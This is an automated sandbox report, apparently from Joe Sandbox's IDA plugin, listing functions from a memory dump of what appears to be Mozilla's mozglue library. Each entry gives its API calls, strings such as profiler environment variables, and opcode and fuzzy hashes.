Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

Details, xrefs: 6C6B1925
{marker.name} - {marker.data.name}, xrefs: 6C6B18C7
name, xrefs: 6C6B1939

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

